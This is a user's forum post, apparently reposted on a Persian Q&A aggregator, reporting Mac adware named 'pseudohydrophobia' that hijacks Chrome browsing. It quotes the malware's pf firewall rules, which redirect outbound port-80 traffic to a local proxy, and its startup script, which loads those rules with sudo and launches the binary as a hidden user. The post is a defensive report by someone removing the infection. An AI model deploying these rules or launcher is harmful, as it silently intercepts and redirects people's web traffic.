Recently I started noticing when I browse a web page in my MBP 10.10.5 Yosemite that Chrome Canary Version 53 was opening a new tab or some pages were not opening...this tab was redirecting me to random pages.
I activated the Firewall and noticed a process call pseudohydrophobia was trying to open an incoming connection
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
/etc/pseudohydrophobia.sh
#!/bin/sh
if [ -a /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia ];
then
sleep 10
sudo pfctl -evf /etc/pseudohydrophobia.conf
sudo -u volutate /Library/pseudohydrophobia/Contents/MacOS/pseudohydrophobia
fi
exit 0
netstat -an | grep 9882 tcp4 0 0 *.9882 . LISTEN
/etc/pseudohydrophobia.conf
rdr pass inet proto tcp from en0 to any port 80 -> 127.0.0.1 port 9882
pass out on en0 route-to lo0 inet proto tcp from en0 to any port 80 keep state
pass out proto tcp all user volutate
I will delete all this scripts and binary but want to post it as didnt find any Google reference.
Recent Questions...
ما را در سایت Recent Questions دنبال میکنید
برچسب:
نویسنده: استخدام کار
بازدید: 184
تاريخ: دوشنبه
24 خرداد
1395 ساعت: 8:20